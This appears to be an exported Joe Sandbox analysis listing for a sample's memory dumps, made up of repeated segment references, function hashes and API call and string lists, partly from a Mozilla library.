Associated: 00000006.00000002.1537629234.0000000000E72000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E7F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E9F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000EAB000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000EAE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F35000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F55000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F5B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.000000000116C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.000000000124E000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001271000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001278000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001287000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538372626.0000000001288000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538471319.0000000001420000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538485418.0000000001421000.00000080.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d90000_file.jbxd

Yara matches

Similarity

API ID:
String ID: ?cz$sy}
API String ID: 0-1115502670
Opcode ID: 766d2a3a602bfbf785c226b7dc8e4fe6c83f294ead041226793f0cce373fde33
Instruction ID: 5241a290366fb6bc86c4d4e25cd59f3b7b8985a3668d653ac5302b97a57c6d27
Opcode Fuzzy Hash: 766d2a3a602bfbf785c226b7dc8e4fe6c83f294ead041226793f0cce373fde33
Instruction Fuzzy Hash: 8E32E5F36082049FE3086E6DEC86B7ABBE9EB94320F19453DEBC4C7744E93558118697

Function 01063409 Relevance: 2.7, Strings: 2, Instructions: 195COMMON

Download Yara Rule

Strings

+/]n, xrefs: 01063490
-Q7y, xrefs: 010635AC

Memory Dump Source

Source File: 00000006.00000002.1538127264.0000000000FEE000.00000040.00000001.01000000.00000004.sdmp, Offset: 00D90000, based on PE: true

Associated: 00000006.00000002.1537597346.0000000000D90000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000D91000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000DEA000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E15000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E18000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E1F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E22000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E41000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E4D000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E72000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E7F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E9F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000EAB000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000EAE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F35000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F55000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F5B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.000000000116C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.000000000124E000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001271000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001278000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001287000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538372626.0000000001288000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538471319.0000000001420000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538485418.0000000001421000.00000080.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d90000_file.jbxd

Yara matches

Similarity

API ID:
String ID: +/]n$-Q7y
API String ID: 0-79580539
Opcode ID: 5802bc6d33ea1d40eaa75dbb75117ccdbe21f4b866b46f76359bbbacd8a10615
Instruction ID: 04e68b29587881833fd0e70ff82592916c100df28866a6554bc3ae92938e9cdf
Opcode Fuzzy Hash: 5802bc6d33ea1d40eaa75dbb75117ccdbe21f4b866b46f76359bbbacd8a10615
Instruction Fuzzy Hash: 8D516AF3A0C3148FE3086E2CEC9576AB7D5EB94710F1B463CE7C093384E9755804868A

Function 6C5A5C10 Relevance: 1.6, APIs: 1, Instructions: 333COMMON

Download Yara Rule

APIs

memcmp.VCRUNTIME140(?,?,6C574A63,?,?), ref: 6C5A5F06

Memory Dump Source

Source File: 00000006.00000002.1565349996.000000006C561000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000006.00000002.1565331096.000000006C560000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.1565403351.000000006C5DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.1565425385.000000006C5EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.1565444356.000000006C5F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c560000_file.jbxd

Similarity

API ID: memcmp
String ID:
API String ID: 1475443563-0
Opcode ID: 317492c512bc11aebf2b6704b85519c64df24dfe9c045efd2769cd609bc59e84
Instruction ID: cb00d7c43fff4f481aa11a5c94cdc8eeafd2508fb212185d9a8deaef6254dee0
Opcode Fuzzy Hash: 317492c512bc11aebf2b6704b85519c64df24dfe9c045efd2769cd609bc59e84
Instruction Fuzzy Hash: CEC10375D006099BCB04CF9AC990AEEBBF2FF89318F68415DD8556BB44D732A906CF80

Function 6C590512 Relevance: .5, Instructions: 466COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1565349996.000000006C561000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000006.00000002.1565331096.000000006C560000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.1565403351.000000006C5DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.1565425385.000000006C5EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.1565444356.000000006C5F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c560000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 732f8aafec1c0d410ff216b27f2e5c03b4339b09f163d0f101acbef2ddceab04
Instruction ID: b4a26ce6e2703b750a5e0ede1f7f953ff7b2227351b132a4e1869f2f4d1c280d
Opcode Fuzzy Hash: 732f8aafec1c0d410ff216b27f2e5c03b4339b09f163d0f101acbef2ddceab04
Instruction Fuzzy Hash: 71220675E04669CFCB14CF98C890AADF7B2FF88304F54869AD44AA7705D731A986CF80

Function 6C5DAC00 Relevance: .4, Instructions: 445COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1565349996.000000006C561000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000006.00000002.1565331096.000000006C560000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.1565403351.000000006C5DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.1565425385.000000006C5EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.1565444356.000000006C5F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c560000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f092b611f4df0b9d929d8e026746bccf3fac4685496da1067fa2d0c79a311269
Instruction ID: c739f9b6adef76b15b496724a8e21e10c4e5187175aa72fbcc5e7de312b34ba8
Opcode Fuzzy Hash: f092b611f4df0b9d929d8e026746bccf3fac4685496da1067fa2d0c79a311269
Instruction Fuzzy Hash: 72F116716087458FD700CE2CCC907ABB7E2AFC5318F1A8A2DE4D487791E774A9898796

Function 010C9664 Relevance: .2, Instructions: 173COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1538127264.0000000000FEE000.00000040.00000001.01000000.00000004.sdmp, Offset: 00D90000, based on PE: true

Associated: 00000006.00000002.1537597346.0000000000D90000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000D91000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000DEA000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E15000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E18000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E1F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E22000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E41000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E4D000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E72000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E7F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E9F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000EAB000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000EAE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F35000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F55000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F5B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.000000000116C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.000000000124E000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001271000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001278000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001287000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538372626.0000000001288000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538471319.0000000001420000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538485418.0000000001421000.00000080.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d90000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b2dc03dee4fa964703b90d9f3ab9f10eb8d8fae2e84f856c97a84237b478ff5b
Instruction ID: 97e345e532624a7b42fe91b55fc63a3cedcc49d6b967d2eca7ee42d851a841c2
Opcode Fuzzy Hash: b2dc03dee4fa964703b90d9f3ab9f10eb8d8fae2e84f856c97a84237b478ff5b
Instruction Fuzzy Hash: 015127F3D041204BF3186E2CEC4576BB6D9AF94324F1B823DDE89A3784E9391D1582D6

Function 010D1EE4 Relevance: .2, Instructions: 154COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1538127264.0000000000FEE000.00000040.00000001.01000000.00000004.sdmp, Offset: 00D90000, based on PE: true

Associated: 00000006.00000002.1537597346.0000000000D90000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000D91000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000DEA000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E15000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E18000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E1F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E22000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E41000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E4D000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E72000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E7F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E9F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000EAB000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000EAE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F35000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F55000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F5B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.000000000116C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.000000000124E000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001271000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001278000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001287000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538372626.0000000001288000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538471319.0000000001420000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538485418.0000000001421000.00000080.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d90000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c511d2deb594ad6df4cdfdc7b01640be67d71eb5591e650b57643066710b58db
Instruction ID: 001da72b3307dc3064a7b6f752683963907058063f7e9d9656ed6ccd3c423dbf
Opcode Fuzzy Hash: c511d2deb594ad6df4cdfdc7b01640be67d71eb5591e650b57643066710b58db
Instruction Fuzzy Hash: 734104F3E082145FF3006E29DC8536ABBDAEBD4364F1B453DDAC893784E93A59054686

Function 0117D921 Relevance: .1, Instructions: 90COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1538127264.000000000116C000.00000040.00000001.01000000.00000004.sdmp, Offset: 00D90000, based on PE: true

Associated: 00000006.00000002.1537597346.0000000000D90000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000D91000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000DEA000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E15000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E18000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E1F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E22000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E41000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E4D000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E72000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E7F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E9F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000EAB000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000EAE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F35000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F55000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F5B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000000FEE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.000000000124E000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001271000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001278000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001287000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538372626.0000000001288000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538471319.0000000001420000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538485418.0000000001421000.00000080.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d90000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ed02fa0229b52fdb36693a09ab55831377ac4aa7e1759aad9814a96821fc4300
Instruction ID: a1110053541258a2e4a46b62d1477631d0f4f6c98816159aa6348b8100b4b782
Opcode Fuzzy Hash: ed02fa0229b52fdb36693a09ab55831377ac4aa7e1759aad9814a96821fc4300
Instruction Fuzzy Hash: 8B210AB250C704EFE305BF59ECC5AAAFBE5FB58320F02492DE6D582650D33198408A97

Function 00DA9750 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1537629234.0000000000D91000.00000040.00000001.01000000.00000004.sdmp, Offset: 00D90000, based on PE: true

Associated: 00000006.00000002.1537597346.0000000000D90000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000DEA000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E15000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E18000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E1F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E22000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E41000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E4D000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E72000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E7F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E9F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000EAB000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000EAE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F35000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F55000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F5B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000000FEE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.000000000116C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.000000000124E000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001271000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001278000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001287000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538372626.0000000001288000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538471319.0000000001420000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538485418.0000000001421000.00000080.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d90000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eecc59efbe9cdf3acfc8abb57b86a9aab05cbe8bc62256deaf8fcc3308cb31aa
Instruction ID: abbdd297b848902a35704da264ecc4a7d2e6ec457c67c65f9fa5c7ab4ebdfac4
Opcode Fuzzy Hash: eecc59efbe9cdf3acfc8abb57b86a9aab05cbe8bc62256deaf8fcc3308cb31aa
Instruction Fuzzy Hash: 1EE04878A56608EFC740CF88D584E49B7F8EB0D720F1181D5ED099B721D235EE00EA90

Function 6C5ACC00 Relevance: 73.7, APIs: 25, Strings: 24, Instructions: 233stringCOMMON

Download Yara Rule

APIs

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,default,?,6C57582D), ref: 6C5ACC27
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,java,?,?,?,6C57582D), ref: 6C5ACC3D
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,6C5DFE98,?,?,?,?,?,6C57582D), ref: 6C5ACC56
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,leaf,?,?,?,?,?,?,?,6C57582D), ref: 6C5ACC6C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,mainthreadio,?,?,?,?,?,?,?,?,?,6C57582D), ref: 6C5ACC82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileio,?,?,?,?,?,?,?,?,?,?,?,6C57582D), ref: 6C5ACC98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileioall,?,?,?,?,?,?,?,?,?,?,?,?,?,6C57582D), ref: 6C5ACCAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,noiostacks), ref: 6C5ACCC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,screenshots), ref: 6C5ACCDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,seqstyle), ref: 6C5ACCEC
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,stackwalk), ref: 6C5ACCFE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,jsallocations), ref: 6C5ACD14
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nostacksampling), ref: 6C5ACD82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,preferencereads), ref: 6C5ACD98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nativeallocations), ref: 6C5ACDAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,ipcmessages), ref: 6C5ACDC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,audiocallbacktracing), ref: 6C5ACDDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpu), ref: 6C5ACDF0
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,notimerresolutionchange), ref: 6C5ACE06
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpuallthreads), ref: 6C5ACE1C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,samplingallthreads), ref: 6C5ACE32
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,markersallthreads), ref: 6C5ACE48
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,unregisteredthreads), ref: 6C5ACE5E
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,processcpu), ref: 6C5ACE74
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,power), ref: 6C5ACE8A

Strings

mainthreadio, xrefs: 6C5ACC7C
audiocallbacktracing, xrefs: 6C5ACDD4
preferencereads, xrefs: 6C5ACD92
java, xrefs: 6C5ACC37
power, xrefs: 6C5ACE84
noiostacks, xrefs: 6C5ACCBE
jsallocations, xrefs: 6C5ACD0E
ipcmessages, xrefs: 6C5ACDBE
default, xrefs: 6C5ACC21
processcpu, xrefs: 6C5ACE6E
nostacksampling, xrefs: 6C5ACD7C
screenshots, xrefs: 6C5ACCD4
cpuallthreads, xrefs: 6C5ACE16
fileio, xrefs: 6C5ACC92
nativeallocations, xrefs: 6C5ACDA8
notimerresolutionchange, xrefs: 6C5ACE00
leaf, xrefs: 6C5ACC66
Unrecognized feature "%s"., xrefs: 6C5ACEA0
seqstyle, xrefs: 6C5ACCE6
stackwalk, xrefs: 6C5ACCF8
unregisteredthreads, xrefs: 6C5ACE58
samplingallthreads, xrefs: 6C5ACE2C
markersallthreads, xrefs: 6C5ACE42
fileioall, xrefs: 6C5ACCA8

Memory Dump Source

Source File: 00000006.00000002.1565349996.000000006C561000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000006.00000002.1565331096.000000006C560000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.1565403351.000000006C5DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.1565425385.000000006C5EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.1565444356.000000006C5F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c560000_file.jbxd

Similarity

API ID: strcmp
String ID: Unrecognized feature "%s".$audiocallbacktracing$cpuallthreads$default$fileio$fileioall$ipcmessages$java$jsallocations$leaf$mainthreadio$markersallthreads$nativeallocations$noiostacks$nostacksampling$notimerresolutionchange$power$preferencereads$processcpu$samplingallthreads$screenshots$seqstyle$stackwalk$unregisteredthreads
API String ID: 1004003707-2809817890
Opcode ID: 9e72da39799a2333fa42a1954ee26b432851e80d9882530ff2c78588c7976c46
Instruction ID: 66cea1c519e3365a814bbf1165c159912baa461cb6232a53b4432d14f63f0657
Opcode Fuzzy Hash: 9e72da39799a2333fa42a1954ee26b432851e80d9882530ff2c78588c7976c46
Instruction Fuzzy Hash: FB5194F090536552FB0172DF2D10BAE3544EB9724AF114536E90AA5E80FF06BA0B86BB

Function 6C574470 Relevance: 45.7, APIs: 20, Strings: 6, Instructions: 178libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C574730: GetModuleHandleW.KERNEL32(00000000,?,?,?,?,6C5744B2,6C5EE21C,6C5EF7F8), ref: 6C57473E
Part of subcall function 6C574730: GetProcAddress.KERNEL32(00000000,GetNtLoaderAPI), ref: 6C57474A

GetModuleHandleW.KERNEL32(WRusr.dll), ref: 6C5744BA
LoadLibraryW.KERNEL32(kernel32.dll), ref: 6C5744D2
InitOnceExecuteOnce.KERNEL32(6C5EF80C,6C56F240,?,?), ref: 6C57451A
GetModuleHandleW.KERNEL32(user32.dll), ref: 6C57455C
LoadLibraryW.KERNEL32(?), ref: 6C574592
InitializeCriticalSection.KERNEL32(6C5EF770), ref: 6C5745A2
moz_xmalloc.MOZGLUE(00000008), ref: 6C5745AA
moz_xmalloc.MOZGLUE(00000018), ref: 6C5745BB
InitOnceExecuteOnce.KERNEL32(6C5EF818,6C56F240,?,?), ref: 6C574612
?IsWin32kLockedDown@mozilla@@YA_NXZ.MOZGLUE ref: 6C574636
LoadLibraryW.KERNEL32(user32.dll), ref: 6C574644
memset.VCRUNTIME140(?,00000000,00000114), ref: 6C57466D
VerSetConditionMask.NTDLL ref: 6C57469F
VerSetConditionMask.NTDLL(00000000,?,00000001,00000003), ref: 6C5746AB
VerSetConditionMask.NTDLL(00000000,?,00000004,00000003), ref: 6C5746B2
VerSetConditionMask.NTDLL(00000000,?,00000020,00000003), ref: 6C5746B9
VerSetConditionMask.NTDLL(00000000,?,00000010,00000003), ref: 6C5746C0
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6C5746CD
